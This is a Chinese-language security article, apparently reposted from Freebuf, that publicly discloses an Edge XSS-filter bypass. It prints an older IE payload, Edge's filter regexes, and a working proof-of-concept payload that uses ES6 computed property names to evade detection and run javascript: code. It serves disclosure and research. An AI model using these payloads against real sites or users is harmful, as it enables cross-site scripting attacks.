Web安全
首页 > 安全文摘 > Web安全> 正文

如何绕过Edge XSS过滤器?

作者曾经在2015年9月向微软提交了这个bug,但是微软至今也没有修复这个问题。考虑到离提交报告已经过去了很长时间,于是作者决定在他的博客中公开这个问题。

作者:blackhold来源:Freebuf.com|2016-07-28 22:51:06

作者曾经在2015年9月向微软提交了这个bug,但是微软至今也没有修复这个问题。考虑到离提交报告已经过去了很长时间,于是作者决定在他的博客中公开这个问题。

过去 IE 有一个缺陷,你可以使用位置对象作为一个函数,并结合 toString/valueOf 按照对象的字面意义来执行代码。基本上你可以使用对象的字面意义作为一个伪数组然后调用 join 函数构造成字符串,随后将依次其传递给 valueOf 和位置对象。下面是代码:

-{toString:[].join,length:1,0:'javascript:alert(123)',valueOf:location}

这在最新版的 Edge 上同样有用,但是浏览器会检测到 XSS 攻击。XSS 过滤器的正则表达式检测到一个字符串后面跟随若干包含 “{” 或 “,”的字符以及 toString/valueOf 和冒号。valueOf 中的字符 “a” 和 toString 中的字符 “o” 会被替换为 “#”。下面是一个简化版的正则表达式:

["'`].*?[{,].*(valueOf|toString).*?:}

下面是2015年10月份的Edge XSS 过滤正则表达式。

{ {[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[\(`]}.*?{[\)`]}}
{[\"\'`].*?[{,].*(((v|(\\u0076)|(\\u[{]0*76[}])|(\\166)|(\\x76))[^a-z0-9]*({a}|(\\u00{6}1)|(\\u[{]0*{6}1[}])|(\\1{4}1)|(\\x{6}1))[^a-z0-9]*(l|(\\u006C)|(\\u[{]0*6C[}])|(\\154)|(\\x6C))[^a-z0-9]*(u|(\\u0075)|(\\u[{]0*75[}])|(\\165)|(\\x75))[^a-z0-9]*(e|(\\u0065)|(\\u[{]0*65[}])|(\\145)|(\\x65))[^a-z0-9]*(O|(\\u004F)|(\\u[{]0*4F[}])|(\\117)|(\\x4F))[^a-z0-9]*(f|(\\u0066)|(\\u[{]0*66[}])|(\\146)|(\\x66)))|((t|(\\u0074)|(\\u[{]0*74[}])|(\\164)|(\\x74))[^a-z0-9]*({o}|(\\u00{6}F)|(\\u[{]0*{6}F[}])|(\\1{5}7)|(\\x{6}F))[^a-z0-9]*(S|(\\u0053)|(\\u[{]0*53[}])|(\\123)|(\\x53))[^a-z0-9]*(t|(\\u0074)|(\\u[{]0*74[}])|(\\164)|(\\x74))[^a-z0-9]*(r|(\\u0072)|(\\u[{]0*72[}])|(\\162)|(\\x72))[^a-z0-9]*(i|(\\u0069)|(\\u[{]0*69[}])|(\\151)|(\\x69))[^a-z0-9]*(n|(\\u006E)|(\\u[{]0*6E[}])|(\\156)|(\\x6E))[^a-z0-9]*(g|(\\u0067)|(\\u[{]0*67[}])|(\\147)|(\\x67)))).*?:}
{}
{ {]}
{ { { {[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[\[]}.*?{[\]]}.*?=}
{[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[.]}.+?=}
{[\"\'`].*?{[\)`]}[ ]*(([^a-z0-9~_:\'\"` ])|(in)).+?{[\(`]}}
{}
{[\"\'`][ ]*(([^a-z0-9~_:\'\"` ])|(in)).*?(((l|(\\u006[Cc])|(\\u[{]0*6[Cc][}]))(o|(\\u006[Ff])|(\\u[{]0*6[Ff][}]))({c}|(\\u00{6}3)|(\\u[{]0*{6}3[}]))(a|(\\u0061)|(\\u[{]0*61[}]))(t|(\\u0074)|(\\u[{]0*74[}]))(i|(\\u0069)|(\\u[{]0*69[}]))(o|(\\u006[Ff])|(\\u[{]0*6[Ff][}]))(n|(\\u006[Ee])|(\\u[{]0*6[Ee][}])))|((n|(\\u006[Ee])|(\\u[{]0*6[Ee][}]))(a|(\\u0061)|(\\u[{]0*61[}]))({m}|(\\u00{6}[Dd])|(\\u[{]0*{6}[Dd][}]))(e|(\\u0065)|(\\u[{]0*65[}])))|((o|(\\u006[Ff])|(\\u[{]0*6[Ff][}]))(n|(\\u006[Ee])|(\\u[{]0*6[Ee][}]))({e}|(\\u00{6}5)|(\\u[{]0*{6}5[}]))(r|(\\u0072)|(\\u[{]0*72[}]))(r|(\\u0072)|(\\u[{]0*72[}]))(o|(\\u006[Ff])|(\\u[{]0*6[Ff][}]))(r|(\\u0072)|(\\u[{]0*72[}])))|((v|(\\u0076)|(\\u[{]0*76[}]))(a|(\\u0061)|(\\u[{]0*61[}]))({l}|(\\u00{6}[Cc])|(\\u[{]0*{6}[Cc][}]))(u|(\\u0075)|(\\u[{]0*75[}]))(e|(\\u0065)|(\\u[{]0*65[}]))(O|(\\u004[Ff])|(\\u[{]0*6[Ff][}]))(f|(\\u0066)|(\\u[{]0*66[}])))).*?=}
{]}
{[ /+\t\"\'`]data{s}rc[ +\t]*?=.}
{ { {.*?((@[i\\])|(([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))))}
{[ /+\t\"\'`]st{y}le[ /+\t]*?=.*?([:=]|(&#x?0*((58)|(3A)|(61)|(3D));?)).*?([(\\]|(&#x?0*((40)|(28)|(92)|(5C));?))}
{ {[ /+\t\"\'`]{o}n\c\c\c+?[ +\t]*?=.}
{<.*[:]vmlf{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{<[i]?f{r}ame.*?[ /+\t]*?src[ /+\t]*=}
{]}
{ {<[?]?im{p}ort[ /+\t].*?implementation[ /+\t]*=}
{ {(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&#x?0*((66)|(42)|(98)|(62));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&#x?0*((82)|(52)|(114)|(72));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}
{(j|(&#x?0*((74)|(4A)|(106)|(6A));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(&#x?0*((86)|(56)|(118)|(76));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&#x?0*((65)|(41)|(97)|(61));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&#x?0*((83)|(53)|(115)|(73));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(&#x?0*((67)|(43)|(99)|(63));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(&#x?0*((82)|(52)|(114)|(72));?))}([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&#x?0*((73)|(49)|(105)|(69));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&#x?0*((80)|(50)|(112)|(70));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&#x?0*((84)|(54)|(116)|(74));?))([\t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}

目前 Edge 已经支持 ES6 并且有了一些非常有用的新功能。但 ES6 的计算特性允许你通过一个表达式来计算属性的名称,例如:

x='a';
o={[x]:123};

alert(o.a)
至此我想你应该知道要怎么办了吧。通过将这两种技术结合就可以绕过 Edge XSS 过滤器。之前说过正则表达式会匹配 toString/valueOf,但不幸的是我们可以利用计算特性来混淆它们。

x='g',y='f',
{['toStrin'+x]:[].join,length:1,0:'java\script:alert\x28123\x29',['valueO'+y]:location}-'';

POC 地址

【责任编辑:blackhold 】

分享:

安全快讯+更多

湖南青年杨某沉迷“黑客”技术,利用国外网络攻击网站的攻击服务,花钱请人开发成软件后,通过QQ群推销,并发展代理商销售,8个月内获利数万元。
6月13日,由赛可达实验室、国家计算机病毒应急处理中心、国家网络与信息系统安全产品质量监督检验中心、首都创新大联盟共同举办的第五届中国网络安全大会(NSC2017)在北京国家会议中心隆重举行。
《中华人民共和国网络安全法》已于6月1日正式实施并成为我国网络空间法治建设的重要里程碑,在确立安全在整个信息系统建设中的核心和关键地位的同时,也对保护公众个人信息安全起到了积极作用。
Shadow Brokers(影子经纪人)回应想哭勒索蠕虫事件,同时公布了一个月度销售计划,称自6月开始,每个月都有高危0day、黑客工具、机密数据售卖。
勒索病毒“WannaCry”(永恒之蓝)在全球范围内的爆发,恐怕是这几天影响力最大的公共安全事件了。